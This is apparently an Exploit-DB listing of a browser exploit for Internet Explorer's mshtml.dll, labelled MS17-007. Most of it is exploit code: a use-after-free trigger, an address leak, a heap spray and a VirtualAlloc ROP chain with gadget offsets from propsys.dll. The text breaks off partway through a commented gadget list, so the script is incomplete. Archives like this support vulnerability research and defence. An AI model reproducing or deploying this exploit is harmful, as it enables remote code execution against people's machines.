Exploit-DB #42354
Description: Microsoft Internet Explorer - 'mshtml.dll' Remote Code Execution (MS17-007)
Type: remote
Platform: windows_x86-64
Date: 2017-07-24
Author: redr2e

Exploit:
<!DOCTYPE html>
<html>
<head>
    <style>
        .class1 { float: left; column-count: 5; }
        .class2 { column-span: all; columns: 1px; }
        table {border-spacing: 0px;}
    </style>
    <script>
 
    var base_leaked_addr = "";
 
    function infoleak() {
     
        var textarea = document.getElementById("textarea");
        var frame = document.createElement("iframe");
      
        textarea.appendChild(frame);
        frame.contentDocument.onreadystatechange = eventhandler;
 
        form.reset();
         
    }
      
    function eventhandler() {
     
        document.getElementById("textarea").defaultValue = "foo";
        // Object replaced here
        // one of the side allocations of the audio element
        var audioElm = document.createElement("audio");
            audioElm.src = "test.mp3";
                 
    }
     
    function writeu(base, offs) {
     
        var res = 0;
        if (base != 0) {  res = base + offs }
        else {  res = offs }
        res = res.toString(16);
        while (res.length < 8) res = "0"+res;
        return "%u"+res.substring(4,8)+"%u"+res.substring(0,4);
         
    }
     
    function readu(value) {
                 
        var uc = escape(value);
        var ucsplit = uc.split('%');
        var res = parseInt('0x' + ucsplit[2].replace('u', '') + ucsplit[1].replace('u', ''));
        return res;
         
    }
         
    function spray() {
     
        // DEPS technique used here - avoid null bytes
 
        var hso = document.createElement("div");
        base_leaked_addr = parseInt(base_leaked_addr,16);
 
        var junk = unescape("%u0e0e%u0e0e");
        while (junk.length < 0x1000) junk += junk;
 
 
        var rop = unescape(
            writeu(base_leaked_addr,0x56341) + 
            writeu(base_leaked_addr,0x56341) + 
            writeu(base_leaked_addr,0x9b7c) + 
            writeu(0,0xffffffff) + 
            writeu(base_leaked_addr,0x2a89e) + 
            writeu(0,0x41414141) + 
            writeu(base_leaked_addr,0x4e385) + 
            writeu(0,0x41414141) + 
            writeu(base_leaked_addr,0x2030f) + 
            writeu(base_leaked_addr,0x9b7c) + 
            writeu(0,0x41414141) + 
            writeu(0,0x41414141) + 
            writeu(0,0xf07645d5) + 
            writeu(base_leaked_addr,0x6e002) + 
            writeu(0,0x41414141) + 
            writeu(base_leaked_addr,0xaebc) + 
            writeu(base_leaked_addr,0x9b7c) + 
            writeu(0,0xffffffbf) + 
            writeu(base_leaked_addr,0x2a89e) + 
            writeu(0,0x41414141) + 
            writeu(base_leaked_addr,0x6361b) + 
            writeu(base_leaked_addr,0x432cf) + 
            writeu(0,0x41414141) + 
            writeu(0,0x41414141) + 
            writeu(base_leaked_addr,0x9b7c) + 
            writeu(base_leaked_addr,0x5cef1) + 
            writeu(base_leaked_addr,0x4177e) + 
            writeu(base_leaked_addr,0x9b7c) + 
            writeu(base_leaked_addr,0x1244) + 
            writeu(base_leaked_addr,0xa819) + 
            writeu(0,0x41414141) + 
            writeu(base_leaked_addr,0x2720b) + 
            "" );
 
        /*
         
        Original VirtualAlloc ROP generated with mona.py - www.corelan.be
        Library used "propsys.dll", part of the Windows Search functionality (?)
        and last updated Nov 2010. I think it's a good target for our needs.
        Fixed to overcome the problem with MOV EAX,80004001 after the PUSHAD instruction
         
        "%u6341%u6af8" + // 0x6af86341 : ,# POP EBP # RETN [PROPSYS.dll] 
        "%u6341%u6af8" + // 0x6af86341 : ,# skip 4 bytes [PROPSYS.dll]
        "%u9b7c%u6af3" + // 0x6af39b7c : ,# POP EAX # RETN 0x04 [PROPSYS.dll] 
        "%uffff%uffff" + // 0xffffffff : ,# Value to negate, will become 0x00000001
        "%ua89e%u6af5" + // 0x6af5a89e : ,# NEG EAX # RETN [PROPSYS.dll] 
        "%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation)
        "%ue385%u6af7" + // 0x6af7e385 : ,# PUSH EAX # ADD AL,5E # XOR EAX,EAX # POP EBX # POP EDI # POP EBP # RETN 0x08 [PROPSYS.dll] 
        "%u4141%u4141" + // 0x41414141 : ,# Filler (compensate)
        "%u4141%u4141" + // 0x41414141 : ,# Filler (compensate) --> changed to 0x6af5030f :  # POP EBX # RETN    ** [PROPSYS.dll] **   |   {PAGE_EXECUTE_READ}
        "%u9b7c%u6af3" + // 0x6af39b7c : ,# POP EAX # RETN 0x04 [PROPSYS.dll] 
        "%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation)
        "%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation)
        "%u45d5%uf076" + // 0xf07645d5 : ,# put delta into eax (-> put 0x00001000 into edx)
        "%ue002%u6af9" + // 0x6af9e002 : ,# ADD EAX,0F89CA2B # RETN [PROPSYS.dll] 
        "%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation)
        "%uaebc%u6af3" + // 0x6af3aebc : ,# XCHG EAX,EDX # RETN [PROPSYS.dll] 
        "%u9b7c%u6af3" + // 0x6af39b7c : ,# POP EAX # RETN 0x04 [PROPSYS.dll] 
        "%uffc0%uffff" + // 0xffffffc0 : ,# Value to negate, will become 0x00000040
        "%ua89e%u6af5" + // 0x6af5a89e : ,# NEG EAX # RETN [PROPSYS.dll] 
        "%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation)
        "%u361b%u6af9" + // 0x6af9361b : ,# XCHG EAX,ECX # ADD DL,B # DEC ECX # RETN 0x08 [PROPSYS.dll] 
        "%u32cf%u6af7" + // 0x6af732cf : ,# POP EDI # RETN [PROPSYS.dll] 
        "%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation)
        "%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation)
        "%u40bd%u6af4" + // 0x6af440bd : ,# RETN (ROP NOP) [PROPSYS.dll] 
        "%ucef1%u6af8" + // 0x6af8cef1 : ,# POP ESI # RETN [PROPSYS.dll] 
        "%u177e%u6af7" + // 0x6af7177e : ,# JMP [EAX] [PROPSYS.dll]
        "%u9b7c%u6af3" + // 0x6af39b7c : ,# POP EAX # RETN 0x04 [PROPSYS.dll] 
        "%u1244%u6af3" + // 0x6af3124